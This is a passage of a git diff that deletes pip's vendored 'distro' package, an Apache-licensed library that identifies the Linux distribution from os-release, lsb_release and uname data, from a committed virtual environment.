-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/venv/Lib/site-packages/pip/_vendor/distro/__init__.py b/venv/Lib/site-packages/pip/_vendor/distro/__init__.py
deleted file mode 100644
index 7686fe85a7cc94188da76bfb1c10ad2a10821256..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distro/__init__.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from .distro import (
-    NORMALIZED_DISTRO_ID,
-    NORMALIZED_LSB_ID,
-    NORMALIZED_OS_ID,
-    LinuxDistribution,
-    __version__,
-    build_number,
-    codename,
-    distro_release_attr,
-    distro_release_info,
-    id,
-    info,
-    like,
-    linux_distribution,
-    lsb_release_attr,
-    lsb_release_info,
-    major_version,
-    minor_version,
-    name,
-    os_release_attr,
-    os_release_info,
-    uname_attr,
-    uname_info,
-    version,
-    version_parts,
-)
-
-__all__ = [
-    "NORMALIZED_DISTRO_ID",
-    "NORMALIZED_LSB_ID",
-    "NORMALIZED_OS_ID",
-    "LinuxDistribution",
-    "build_number",
-    "codename",
-    "distro_release_attr",
-    "distro_release_info",
-    "id",
-    "info",
-    "like",
-    "linux_distribution",
-    "lsb_release_attr",
-    "lsb_release_info",
-    "major_version",
-    "minor_version",
-    "name",
-    "os_release_attr",
-    "os_release_info",
-    "uname_attr",
-    "uname_info",
-    "version",
-    "version_parts",
-]
-
-__version__ = __version__
diff --git a/venv/Lib/site-packages/pip/_vendor/distro/__main__.py b/venv/Lib/site-packages/pip/_vendor/distro/__main__.py
deleted file mode 100644
index 0c01d5b08b6b44379b931d54d7fcf5221fdc9fde..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distro/__main__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .distro import main
-
-if __name__ == "__main__":
-    main()
diff --git a/venv/Lib/site-packages/pip/_vendor/distro/distro.py b/venv/Lib/site-packages/pip/_vendor/distro/distro.py
deleted file mode 100644
index 78ccdfa402ac29a8ef8aaddf7b527a0efb568d43..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distro/distro.py
+++ /dev/null
@@ -1,1403 +0,0 @@
-#!/usr/bin/env python
-# Copyright 2015-2021 Nir Cohen
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-"""
-The ``distro`` package (``distro`` stands for Linux Distribution) provides
-information about the Linux distribution it runs on, such as a reliable
-machine-readable distro ID, or version information.
-
-It is the recommended replacement for Python's original
-:py:func:`platform.linux_distribution` function, but it provides much more
-functionality. An alternative implementation became necessary because Python
-3.5 deprecated this function, and Python 3.8 removed it altogether. Its
-predecessor function :py:func:`platform.dist` was already deprecated since
-Python 2.6 and removed in Python 3.8. Still, there are many cases in which
-access to OS distribution information is needed. See `Python issue 1322
-`_ for more information.
-"""
-
-import argparse
-import json
-import logging
-import os
-import re
-import shlex
-import subprocess
-import sys
-import warnings
-from typing import (
-    Any,
-    Callable,
-    Dict,
-    Iterable,
-    Optional,
-    Sequence,
-    TextIO,
-    Tuple,
-    Type,
-)
-
-try:
-    from typing import TypedDict
-except ImportError:
-    # Python 3.7
-    TypedDict = dict
-
-__version__ = "1.9.0"
-
-
-class VersionDict(TypedDict):
-    major: str
-    minor: str
-    build_number: str
-
-
-class InfoDict(TypedDict):
-    id: str
-    version: str
-    version_parts: VersionDict
-    like: str
-    codename: str
-
-
-_UNIXCONFDIR = os.environ.get("UNIXCONFDIR", "/etc")
-_UNIXUSRLIBDIR = os.environ.get("UNIXUSRLIBDIR", "/usr/lib")
-_OS_RELEASE_BASENAME = "os-release"
-
-#: Translation table for normalizing the "ID" attribute defined in os-release
-#: files, for use by the :func:`distro.id` method.
-#:
-#: * Key: Value as defined in the os-release file, translated to lower case,
-#:   with blanks translated to underscores.
-#:
-#: * Value: Normalized value.
-NORMALIZED_OS_ID = {
-    "ol": "oracle",  # Oracle Linux
-    "opensuse-leap": "opensuse",  # Newer versions of OpenSuSE report as opensuse-leap
-}
-
-#: Translation table for normalizing the "Distributor ID" attribute returned by
-#: the lsb_release command, for use by the :func:`distro.id` method.
-#:
-#: * Key: Value as returned by the lsb_release command, translated to lower
-#:   case, with blanks translated to underscores.
-#:
-#: * Value: Normalized value.
-NORMALIZED_LSB_ID = {
-    "enterpriseenterpriseas": "oracle",  # Oracle Enterprise Linux 4
-    "enterpriseenterpriseserver": "oracle",  # Oracle Linux 5
-    "redhatenterpriseworkstation": "rhel",  # RHEL 6, 7 Workstation
-    "redhatenterpriseserver": "rhel",  # RHEL 6, 7 Server
-    "redhatenterprisecomputenode": "rhel",  # RHEL 6 ComputeNode
-}
-
-#: Translation table for normalizing the distro ID derived from the file name
-#: of distro release files, for use by the :func:`distro.id` method.
-#:
-#: * Key: Value as derived from the file name of a distro release file,
-#:   translated to lower case, with blanks translated to underscores.
-#:
-#: * Value: Normalized value.
-NORMALIZED_DISTRO_ID = {
-    "redhat": "rhel",  # RHEL 6.x, 7.x
-}
-
-# Pattern for content of distro release file (reversed)
-_DISTRO_RELEASE_CONTENT_REVERSED_PATTERN = re.compile(
-    r"(?:[^)]*\)(.*)\()? *(?:STL )?([\d.+\-a-z]*\d) *(?:esaeler *)?(.+)"
-)
-
-# Pattern for base file name of distro release file
-_DISTRO_RELEASE_BASENAME_PATTERN = re.compile(r"(\w+)[-_](release|version)$")
-
-# Base file names to be looked up for if _UNIXCONFDIR is not readable.
-_DISTRO_RELEASE_BASENAMES = [
-    "SuSE-release",
-    "altlinux-release",
-    "arch-release",
-    "base-release",
-    "centos-release",
-    "fedora-release",
-    "gentoo-release",
-    "mageia-release",
-    "mandrake-release",
-    "mandriva-release",
-    "mandrivalinux-release",
-    "manjaro-release",
-    "oracle-release",
-    "redhat-release",
-    "rocky-release",
-    "sl-release",
-    "slackware-version",
-]
-
-# Base file names to be ignored when searching for distro release file
-_DISTRO_RELEASE_IGNORE_BASENAMES = (
-    "debian_version",
-    "lsb-release",
-    "oem-release",
-    _OS_RELEASE_BASENAME,
-    "system-release",
-    "plesk-release",
-    "iredmail-release",
-    "board-release",
-    "ec2_version",
-)
-
-
-def linux_distribution(full_distribution_name: bool = True) -> Tuple[str, str, str]:
-    """
-    .. deprecated:: 1.6.0
-
-        :func:`distro.linux_distribution()` is deprecated. It should only be
-        used as a compatibility shim with Python's
-        :py:func:`platform.linux_distribution()`. Please use :func:`distro.id`,
-        :func:`distro.version` and :func:`distro.name` instead.
-
-    Return information about the current OS distribution as a tuple
-    ``(id_name, version, codename)`` with items as follows:
-
-    * ``id_name``:  If *full_distribution_name* is false, the result of
-      :func:`distro.id`. Otherwise, the result of :func:`distro.name`.
-
-    * ``version``:  The result of :func:`distro.version`.
-
-    * ``codename``:  The extra item (usually in parentheses) after the
-      os-release version number, or the result of :func:`distro.codename`.
-
-    The interface of this function is compatible with the original
-    :py:func:`platform.linux_distribution` function, supporting a subset of
-    its parameters.
-
-    The data it returns may not exactly be the same, because it uses more data
-    sources than the original function, and that may lead to different data if
-    the OS distribution is not consistent across multiple data sources it
-    provides (there are indeed such distributions ...).
-
-    Another reason for differences is the fact that the :func:`distro.id`
-    method normalizes the distro ID string to a reliable machine-readable value
-    for a number of popular OS distributions.
-    """
-    warnings.warn(
-        "distro.linux_distribution() is deprecated. It should only be used as a "
-        "compatibility shim with Python's platform.linux_distribution(). Please use "
-        "distro.id(), distro.version() and distro.name() instead.",
-        DeprecationWarning,
-        stacklevel=2,
-    )
-    return _distro.linux_distribution(full_distribution_name)
-
-
-def id() -> str:
-    """
-    Return the distro ID of the current distribution, as a
-    machine-readable string.
-
-    For a number of OS distributions, the returned distro ID value is
-    *reliable*, in the sense that it is documented and that it does not change
-    across releases of the distribution.
-
-    This package maintains the following reliable distro ID values:
-
-    ==============  =========================================
-    Distro ID       Distribution
-    ==============  =========================================
-    "ubuntu"        Ubuntu
-    "debian"        Debian
-    "rhel"          RedHat Enterprise Linux
-    "centos"        CentOS
-    "fedora"        Fedora
-    "sles"          SUSE Linux Enterprise Server
-    "opensuse"      openSUSE
-    "amzn"          Amazon Linux
-    "arch"          Arch Linux
-    "buildroot"     Buildroot
-    "cloudlinux"    CloudLinux OS
-    "exherbo"       Exherbo Linux
-    "gentoo"        GenToo Linux
-    "ibm_powerkvm"  IBM PowerKVM
-    "kvmibm"        KVM for IBM z Systems
-    "linuxmint"     Linux Mint
-    "mageia"        Mageia
-    "mandriva"      Mandriva Linux
-    "parallels"     Parallels
-    "pidora"        Pidora
-    "raspbian"      Raspbian
-    "oracle"        Oracle Linux (and Oracle Enterprise Linux)
-    "scientific"    Scientific Linux
-    "slackware"     Slackware
-    "xenserver"     XenServer
-    "openbsd"       OpenBSD
-    "netbsd"        NetBSD
-    "freebsd"       FreeBSD
-    "midnightbsd"   MidnightBSD
-    "rocky"         Rocky Linux
-    "aix"           AIX
-    "guix"          Guix System
-    "altlinux"      ALT Linux
-    ==============  =========================================
-
-    If you have a need to get distros for reliable IDs added into this set,
-    or if you find that the :func:`distro.id` function returns a different
-    distro ID for one of the listed distros, please create an issue in the
-    `distro issue tracker`_.
-
-    **Lookup hierarchy and transformations:**
-
-    First, the ID is obtained from the following sources, in the specified
-    order. The first available and non-empty value is used:
-
-    * the value of the "ID" attribute of the os-release file,
-
-    * the value of the "Distributor ID" attribute returned by the lsb_release
-      command,
-
-    * the first part of the file name of the distro release file,
-
-    The so determined ID value then passes the following transformations,
-    before it is returned by this method:
-
-    * it is translated to lower case,
-
-    * blanks (which should not be there anyway) are translated to underscores,
-
-    * a normalization of the ID is performed, based upon
-      `normalization tables`_. The purpose of this normalization is to ensure
-      that the ID is as reliable as possible, even across incompatible changes
-      in the OS distributions. A common reason for an incompatible change is
-      the addition of an os-release file, or the addition of the lsb_release
-      command, with ID values that differ from what was previously determined
-      from the distro release file name.
-    """
-    return _distro.id()
-
-
-def name(pretty: bool = False) -> str:
-    """
-    Return the name of the current OS distribution, as a human-readable
-    string.
-
-    If *pretty* is false, the name is returned without version or codename.
-    (e.g. "CentOS Linux")
-
-    If *pretty* is true, the version and codename are appended.
-    (e.g. "CentOS Linux 7.1.1503 (Core)")
-
-    **Lookup hierarchy:**
-
-    The name is obtained from the following sources, in the specified order.
-    The first available and non-empty value is used:
-
-    * If *pretty* is false:
-
-      - the value of the "NAME" attribute of the os-release file,
-
-      - the value of the "Distributor ID" attribute returned by the lsb_release
-        command,
-
-      - the value of the "" field of the distro release file.
-
-    * If *pretty* is true:
-
-      - the value of the "PRETTY_NAME" attribute of the os-release file,
-
-      - the value of the "Description" attribute returned by the lsb_release
-        command,
-
-      - the value of the "" field of the distro release file, appended
-        with the value of the pretty version ("" and ""
-        fields) of the distro release file, if available.
-    """
-    return _distro.name(pretty)
-
-
-def version(pretty: bool = False, best: bool = False) -> str:
-    """
-    Return the version of the current OS distribution, as a human-readable
-    string.
-
-    If *pretty* is false, the version is returned without codename (e.g.
-    "7.0").
-
-    If *pretty* is true, the codename in parenthesis is appended, if the
-    codename is non-empty (e.g. "7.0 (Maipo)").
-
-    Some distributions provide version numbers with different precisions in
-    the different sources of distribution information. Examining the different
-    sources in a fixed priority order does not always yield the most precise
-    version (e.g. for Debian 8.2, or CentOS 7.1).
-
-    Some other distributions may not provide this kind of information. In these
-    cases, an empty string would be returned. This behavior can be observed
-    with rolling releases distributions (e.g. Arch Linux).
-
-    The *best* parameter can be used to control the approach for the returned
-    version:
-
-    If *best* is false, the first non-empty version number in priority order of
-    the examined sources is returned.
-
-    If *best* is true, the most precise version number out of all examined
-    sources is returned.
-
-    **Lookup hierarchy:**
-
-    In all cases, the version number is obtained from the following sources.
-    If *best* is false, this order represents the priority order:
-
-    * the value of the "VERSION_ID" attribute of the os-release file,
-    * the value of the "Release" attribute returned by the lsb_release
-      command,
-    * the version number parsed from the "" field of the first line
-      of the distro release file,
-    * the version number parsed from the "PRETTY_NAME" attribute of the
-      os-release file, if it follows the format of the distro release files.
-    * the version number parsed from the "Description" attribute returned by
-      the lsb_release command, if it follows the format of the distro release
-      files.
-    """
-    return _distro.version(pretty, best)
-
-
-def version_parts(best: bool = False) -> Tuple[str, str, str]:
-    """
-    Return the version of the current OS distribution as a tuple
-    ``(major, minor, build_number)`` with items as follows:
-
-    * ``major``:  The result of :func:`distro.major_version`.
-
-    * ``minor``:  The result of :func:`distro.minor_version`.
-
-    * ``build_number``:  The result of :func:`distro.build_number`.
-
-    For a description of the *best* parameter, see the :func:`distro.version`
-    method.
-    """
-    return _distro.version_parts(best)
-
-
-def major_version(best: bool = False) -> str:
-    """
-    Return the major version of the current OS distribution, as a string,
-    if provided.
-    Otherwise, the empty string is returned. The major version is the first
-    part of the dot-separated version string.
-
-    For a description of the *best* parameter, see the :func:`distro.version`
-    method.
-    """
-    return _distro.major_version(best)
-
-
-def minor_version(best: bool = False) -> str:
-    """
-    Return the minor version of the current OS distribution, as a string,
-    if provided.
-    Otherwise, the empty string is returned. The minor version is the second
-    part of the dot-separated version string.
-
-    For a description of the *best* parameter, see the :func:`distro.version`
-    method.
-    """
-    return _distro.minor_version(best)
-
-
-def build_number(best: bool = False) -> str:
-    """
-    Return the build number of the current OS distribution, as a string,
-    if provided.
-    Otherwise, the empty string is returned. The build number is the third part
-    of the dot-separated version string.
-
-    For a description of the *best* parameter, see the :func:`distro.version`
-    method.
-    """
-    return _distro.build_number(best)
-
-
-def like() -> str:
-    """
-    Return a space-separated list of distro IDs of distributions that are
-    closely related to the current OS distribution in regards to packaging
-    and programming interfaces, for example distributions the current
-    distribution is a derivative from.
-
-    **Lookup hierarchy:**
-
-    This information item is only provided by the os-release file.
-    For details, see the description of the "ID_LIKE" attribute in the
-    `os-release man page
-    `_.
-    """
-    return _distro.like()
-
-
-def codename() -> str:
-    """
-    Return the codename for the release of the current OS distribution,
-    as a string.
-
-    If the distribution does not have a codename, an empty string is returned.
-
-    Note that the returned codename is not always really a codename. For
-    example, openSUSE returns "x86_64". This function does not handle such
-    cases in any special way and just returns the string it finds, if any.
-
-    **Lookup hierarchy:**
-
-    * the codename within the "VERSION" attribute of the os-release file, if
-      provided,
-
-    * the value of the "Codename" attribute returned by the lsb_release
-      command,
-
-    * the value of the "" field of the distro release file.
-    """
-    return _distro.codename()
-
-
-def info(pretty: bool = False, best: bool = False) -> InfoDict:
-    """
-    Return certain machine-readable information items about the current OS
-    distribution in a dictionary, as shown in the following example:
-
-    .. sourcecode:: python
-
-        {
-            'id': 'rhel',
-            'version': '7.0',
-            'version_parts': {
-                'major': '7',
-                'minor': '0',
-                'build_number': ''
-            },
-            'like': 'fedora',
-            'codename': 'Maipo'
-        }
-
-    The dictionary structure and keys are always the same, regardless of which
-    information items are available in the underlying data sources. The values
-    for the various keys are as follows:
-
-    * ``id``:  The result of :func:`distro.id`.
-
-    * ``version``:  The result of :func:`distro.version`.
-
-    * ``version_parts -> major``:  The result of :func:`distro.major_version`.
-
-    * ``version_parts -> minor``:  The result of :func:`distro.minor_version`.
-
-    * ``version_parts -> build_number``:  The result of
-      :func:`distro.build_number`.
-
-    * ``like``:  The result of :func:`distro.like`.
-
-    * ``codename``:  The result of :func:`distro.codename`.
-
-    For a description of the *pretty* and *best* parameters, see the
-    :func:`distro.version` method.
-    """
-    return _distro.info(pretty, best)
-
-
-def os_release_info() -> Dict[str, str]:
-    """
-    Return a dictionary containing key-value pairs for the information items
-    from the os-release file data source of the current OS distribution.
-
-    See `os-release file`_ for details about these information items.
-    """
-    return _distro.os_release_info()
-
-
-def lsb_release_info() -> Dict[str, str]:
-    """
-    Return a dictionary containing key-value pairs for the information items
-    from the lsb_release command data source of the current OS distribution.
-
-    See `lsb_release command output`_ for details about these information
-    items.
-    """
-    return _distro.lsb_release_info()
-
-
-def distro_release_info() -> Dict[str, str]:
-    """
-    Return a dictionary containing key-value pairs for the information items
-    from the distro release file data source of the current OS distribution.
-
-    See `distro release file`_ for details about these information items.
-    """
-    return _distro.distro_release_info()
-
-
-def uname_info() -> Dict[str, str]:
-    """
-    Return a dictionary containing key-value pairs for the information items
-    from the distro release file data source of the current OS distribution.
-    """
-    return _distro.uname_info()
-
-
-def os_release_attr(attribute: str) -> str:
-    """
-    Return a single named information item from the os-release file data source
-    of the current OS distribution.
-
-    Parameters:
-
-    * ``attribute`` (string): Key of the information item.
-
-    Returns:
-
-    * (string): Value of the information item, if the item exists.
-      The empty string, if the item does not exist.
-
-    See `os-release file`_ for details about these information items.
-    """
-    return _distro.os_release_attr(attribute)
-
-
-def lsb_release_attr(attribute: str) -> str:
-    """
-    Return a single named information item from the lsb_release command output
-    data source of the current OS distribution.
-
-    Parameters:
-
-    * ``attribute`` (string): Key of the information item.
-
-    Returns:
-
-    * (string): Value of the information item, if the item exists.
-      The empty string, if the item does not exist.
-
-    See `lsb_release command output`_ for details about these information
-    items.
-    """
-    return _distro.lsb_release_attr(attribute)
-
-
-def distro_release_attr(attribute: str) -> str:
-    """
-    Return a single named information item from the distro release file
-    data source of the current OS distribution.
-
-    Parameters:
-
-    * ``attribute`` (string): Key of the information item.
-
-    Returns:
-
-    * (string): Value of the information item, if the item exists.
-      The empty string, if the item does not exist.
-
-    See `distro release file`_ for details about these information items.
-    """
-    return _distro.distro_release_attr(attribute)
-
-
-def uname_attr(attribute: str) -> str:
-    """
-    Return a single named information item from the distro release file
-    data source of the current OS distribution.
-
-    Parameters:
-
-    * ``attribute`` (string): Key of the information item.
-
-    Returns:
-
-    * (string): Value of the information item, if the item exists.
-                The empty string, if the item does not exist.
-    """
-    return _distro.uname_attr(attribute)
-
-
-try:
-    from functools import cached_property
-except ImportError:
-    # Python < 3.8
-    class cached_property:  # type: ignore
-        """A version of @property which caches the value.  On access, it calls the
-        underlying function and sets the value in `__dict__` so future accesses
-        will not re-call the property.
-        """
-
-        def __init__(self, f: Callable[[Any], Any]) -> None:
-            self._fname = f.__name__
-            self._f = f
-
-        def __get__(self, obj: Any, owner: Type[Any]) -> Any:
-            assert obj is not None, f"call {self._fname} on an instance"
-            ret = obj.__dict__[self._fname] = self._f(obj)
-            return ret
-
-
-class LinuxDistribution:
-    """
-    Provides information about a OS distribution.
-
-    This package creates a private module-global instance of this class with
-    default initialization arguments, that is used by the
-    `consolidated accessor functions`_ and `single source accessor functions`_.
-    By using default initialization arguments, that module-global instance
-    returns data about the current OS distribution (i.e. the distro this
-    package runs on).
-
-    Normally, it is not necessary to create additional instances of this class.
-    However, in situations where control is needed over the exact data sources
-    that are used, instances of this class can be created with a specific
-    distro release file, or a specific os-release file, or without invoking the
-    lsb_release command.
-    """
-
-    def __init__(
-        self,
-        include_lsb: Optional[bool] = None,
-        os_release_file: str = "",
-        distro_release_file: str = "",
-        include_uname: Optional[bool] = None,
-        root_dir: Optional[str] = None,
-        include_oslevel: Optional[bool] = None,
-    ) -> None:
-        """
-        The initialization method of this class gathers information from the
-        available data sources, and stores that in private instance attributes.
-        Subsequent access to the information items uses these private instance
-        attributes, so that the data sources are read only once.
-
-        Parameters:
-
-        * ``include_lsb`` (bool): Controls whether the
-          `lsb_release command output`_ is included as a data source.
-
-          If the lsb_release command is not available in the program execution
-          path, the data source for the lsb_release command will be empty.
-
-        * ``os_release_file`` (string): The path name of the
-          `os-release file`_ that is to be used as a data source.
-
-          An empty string (the default) will cause the default path name to
-          be used (see `os-release file`_ for details).
-
-          If the specified or defaulted os-release file does not exist, the
-          data source for the os-release file will be empty.
-
-        * ``distro_release_file`` (string): The path name of the
-          `distro release file`_ that is to be used as a data source.
-
-          An empty string (the default) will cause a default search algorithm
-          to be used (see `distro release file`_ for details).
-
-          If the specified distro release file does not exist, or if no default
-          distro release file can be found, the data source for the distro
-          release file will be empty.
-
-        * ``include_uname`` (bool): Controls whether uname command output is
-          included as a data source. If the uname command is not available in
-          the program execution path the data source for the uname command will
-          be empty.
-
-        * ``root_dir`` (string): The absolute path to the root directory to use
-          to find distro-related information files. Note that ``include_*``
-          parameters must not be enabled in combination with ``root_dir``.
-
-        * ``include_oslevel`` (bool): Controls whether (AIX) oslevel command
-          output is included as a data source. If the oslevel command is not
-          available in the program execution path the data source will be
-          empty.
-
-        Public instance attributes:
-
-        * ``os_release_file`` (string): The path name of the
-          `os-release file`_ that is actually used as a data source. The
-          empty string if no distro release file is used as a data source.
-
-        * ``distro_release_file`` (string): The path name of the
-          `distro release file`_ that is actually used as a data source. The
-          empty string if no distro release file is used as a data source.
-
-        * ``include_lsb`` (bool): The result of the ``include_lsb`` parameter.
-          This controls whether the lsb information will be loaded.
-
-        * ``include_uname`` (bool): The result of the ``include_uname``
-          parameter. This controls whether the uname information will
-          be loaded.
-
-        * ``include_oslevel`` (bool): The result of the ``include_oslevel``
-          parameter. This controls whether (AIX) oslevel information will be
-          loaded.
-
-        * ``root_dir`` (string): The result of the ``root_dir`` parameter.
-          The absolute path to the root directory to use to find distro-related
-          information files.
-
-        Raises:
-
-        * :py:exc:`ValueError`: Initialization parameters combination is not
-           supported.
-
-        * :py:exc:`OSError`: Some I/O issue with an os-release file or distro
-          release file.
-
-        * :py:exc:`UnicodeError`: A data source has unexpected characters or
-          uses an unexpected encoding.
-        """
-        self.root_dir = root_dir
-        self.etc_dir = os.path.join(root_dir, "etc") if root_dir else _UNIXCONFDIR
-        self.usr_lib_dir = (
-            os.path.join(root_dir, "usr/lib") if root_dir else _UNIXUSRLIBDIR
-        )
-
-        if os_release_file:
-            self.os_release_file = os_release_file
-        else:
-            etc_dir_os_release_file = os.path.join(self.etc_dir, _OS_RELEASE_BASENAME)
-            usr_lib_os_release_file = os.path.join(
-                self.usr_lib_dir, _OS_RELEASE_BASENAME
-            )
-
-            # NOTE: The idea is to respect order **and** have it set
-            #       at all times for API backwards compatibility.
-            if os.path.isfile(etc_dir_os_release_file) or not os.path.isfile(
-                usr_lib_os_release_file
-            ):
-                self.os_release_file = etc_dir_os_release_file
-            else:
-                self.os_release_file = usr_lib_os_release_file
-
-        self.distro_release_file = distro_release_file or ""  # updated later
-
-        is_root_dir_defined = root_dir is not None
-        if is_root_dir_defined and (include_lsb or include_uname or include_oslevel):
-            raise ValueError(
-                "Including subprocess data sources from specific root_dir is disallowed"
-                " to prevent false information"
-            )
-        self.include_lsb = (
-            include_lsb if include_lsb is not None else not is_root_dir_defined
-        )
-        self.include_uname = (
-            include_uname if include_uname is not None else not is_root_dir_defined
-        )
-        self.include_oslevel = (
-            include_oslevel if include_oslevel is not None else not is_root_dir_defined
-        )
-
-    def __repr__(self) -> str:
-        """Return repr of all info"""
-        return (
-            "LinuxDistribution("
-            "os_release_file={self.os_release_file!r}, "
-            "distro_release_file={self.distro_release_file!r}, "
-            "include_lsb={self.include_lsb!r}, "
-            "include_uname={self.include_uname!r}, "
-            "include_oslevel={self.include_oslevel!r}, "
-            "root_dir={self.root_dir!r}, "
-            "_os_release_info={self._os_release_info!r}, "
-            "_lsb_release_info={self._lsb_release_info!r}, "
-            "_distro_release_info={self._distro_release_info!r}, "
-            "_uname_info={self._uname_info!r}, "
-            "_oslevel_info={self._oslevel_info!r})".format(self=self)
-        )
-
-    def linux_distribution(
-        self, full_distribution_name: bool = True
-    ) -> Tuple[str, str, str]:
-        """
-        Return information about the OS distribution that is compatible
-        with Python's :func:`platform.linux_distribution`, supporting a subset
-        of its parameters.
-
-        For details, see :func:`distro.linux_distribution`.
-        """
-        return (
-            self.name() if full_distribution_name else self.id(),
-            self.version(),
-            self._os_release_info.get("release_codename") or self.codename(),
-        )
-
-    def id(self) -> str:
-        """Return the distro ID of the OS distribution, as a string.
-
-        For details, see :func:`distro.id`.
-        """
-
-        def normalize(distro_id: str, table: Dict[str, str]) -> str:
-            distro_id = distro_id.lower().replace(" ", "_")
-            return table.get(distro_id, distro_id)
-
-        distro_id = self.os_release_attr("id")
-        if distro_id:
-            return normalize(distro_id, NORMALIZED_OS_ID)
-
-        distro_id = self.lsb_release_attr("distributor_id")
-        if distro_id:
-            return normalize(distro_id, NORMALIZED_LSB_ID)
-
-        distro_id = self.distro_release_attr("id")
-        if distro_id:
-            return normalize(distro_id, NORMALIZED_DISTRO_ID)
-
-        distro_id = self.uname_attr("id")
-        if distro_id:
-            return normalize(distro_id, NORMALIZED_DISTRO_ID)
-
-        return ""
-
-    def name(self, pretty: bool = False) -> str:
-        """
-        Return the name of the OS distribution, as a string.
-
-        For details, see :func:`distro.name`.
-        """
-        name = (
-            self.os_release_attr("name")
-            or self.lsb_release_attr("distributor_id")
-            or self.distro_release_attr("name")
-            or self.uname_attr("name")
-        )
-        if pretty:
-            name = self.os_release_attr("pretty_name") or self.lsb_release_attr(
-                "description"
-            )
-            if not name:
-                name = self.distro_release_attr("name") or self.uname_attr("name")
-                version = self.version(pretty=True)
-                if version:
-                    name = f"{name} {version}"
-        return name or ""
-
-    def version(self, pretty: bool = False, best: bool = False) -> str:
-        """
-        Return the version of the OS distribution, as a string.
-
-        For details, see :func:`distro.version`.
-        """
-        versions = [
-            self.os_release_attr("version_id"),
-            self.lsb_release_attr("release"),
-            self.distro_release_attr("version_id"),
-            self._parse_distro_release_content(self.os_release_attr("pretty_name")).get(
-                "version_id", ""
-            ),
-            self._parse_distro_release_content(
-                self.lsb_release_attr("description")
-            ).get("version_id", ""),
-            self.uname_attr("release"),
-        ]
-        if self.uname_attr("id").startswith("aix"):
-            # On AIX platforms, prefer oslevel command output.
-            versions.insert(0, self.oslevel_info())
-        elif self.id() == "debian" or "debian" in self.like().split():
-            # On Debian-like, add debian_version file content to candidates list.
-            versions.append(self._debian_version)
-        version = ""
-        if best:
-            # This algorithm uses the last version in priority order that has
-            # the best precision. If the versions are not in conflict, that
-            # does not matter; otherwise, using the last one instead of the
-            # first one might be considered a surprise.
-            for v in versions:
-                if v.count(".") > version.count(".") or version == "":
-                    version = v
-        else:
-            for v in versions:
-                if v != "":
-                    version = v
-                    break
-        if pretty and version and self.codename():
-            version = f"{version} ({self.codename()})"
-        return version
-
-    def version_parts(self, best: bool = False) -> Tuple[str, str, str]:
-        """
-        Return the version of the OS distribution, as a tuple of version
-        numbers.
-
-        For details, see :func:`distro.version_parts`.
-        """
-        version_str = self.version(best=best)
-        if version_str:
-            version_regex = re.compile(r"(\d+)\.?(\d+)?\.?(\d+)?")
-            matches = version_regex.match(version_str)
-            if matches:
-                major, minor, build_number = matches.groups()
-                return major, minor or "", build_number or ""
-        return "", "", ""
-
-    def major_version(self, best: bool = False) -> str:
-        """
-        Return the major version number of the current distribution.
-
-        For details, see :func:`distro.major_version`.
-        """
-        return self.version_parts(best)[0]
-
-    def minor_version(self, best: bool = False) -> str:
-        """
-        Return the minor version number of the current distribution.
-
-        For details, see :func:`distro.minor_version`.
-        """
-        return self.version_parts(best)[1]
-
-    def build_number(self, best: bool = False) -> str:
-        """
-        Return the build number of the current distribution.
-
-        For details, see :func:`distro.build_number`.
-        """
-        return self.version_parts(best)[2]
-
-    def like(self) -> str:
-        """
-        Return the IDs of distributions that are like the OS distribution.
-
-        For details, see :func:`distro.like`.
-        """
-        return self.os_release_attr("id_like") or ""
-
-    def codename(self) -> str:
-        """
-        Return the codename of the OS distribution.
-
-        For details, see :func:`distro.codename`.
-        """
-        try:
-            # Handle os_release specially since distros might purposefully set
-            # this to empty string to have no codename
-            return self._os_release_info["codename"]
-        except KeyError:
-            return (
-                self.lsb_release_attr("codename")
-                or self.distro_release_attr("codename")
-                or ""
-            )
-
-    def info(self, pretty: bool = False, best: bool = False) -> InfoDict:
-        """
-        Return certain machine-readable information about the OS
-        distribution.
-
-        For details, see :func:`distro.info`.
-        """
-        return InfoDict(
-            id=self.id(),
-            version=self.version(pretty, best),
-            version_parts=VersionDict(
-                major=self.major_version(best),
-                minor=self.minor_version(best),
-                build_number=self.build_number(best),
-            ),
-            like=self.like(),
-            codename=self.codename(),
-        )
-
-    def os_release_info(self) -> Dict[str, str]:
-        """
-        Return a dictionary containing key-value pairs for the information
-        items from the os-release file data source of the OS distribution.
-
-        For details, see :func:`distro.os_release_info`.
-        """
-        return self._os_release_info
-
-    def lsb_release_info(self) -> Dict[str, str]:
-        """
-        Return a dictionary containing key-value pairs for the information
-        items from the lsb_release command data source of the OS
-        distribution.
-
-        For details, see :func:`distro.lsb_release_info`.
-        """
-        return self._lsb_release_info
-
-    def distro_release_info(self) -> Dict[str, str]:
-        """
-        Return a dictionary containing key-value pairs for the information
-        items from the distro release file data source of the OS
-        distribution.
-
-        For details, see :func:`distro.distro_release_info`.
-        """
-        return self._distro_release_info
-
-    def uname_info(self) -> Dict[str, str]:
-        """
-        Return a dictionary containing key-value pairs for the information
-        items from the uname command data source of the OS distribution.
-
-        For details, see :func:`distro.uname_info`.
-        """
-        return self._uname_info
-
-    def oslevel_info(self) -> str:
-        """
-        Return AIX' oslevel command output.
-        """
-        return self._oslevel_info
-
-    def os_release_attr(self, attribute: str) -> str:
-        """
-        Return a single named information item from the os-release file data
-        source of the OS distribution.
-
-        For details, see :func:`distro.os_release_attr`.
-        """
-        return self._os_release_info.get(attribute, "")
-
-    def lsb_release_attr(self, attribute: str) -> str:
-        """
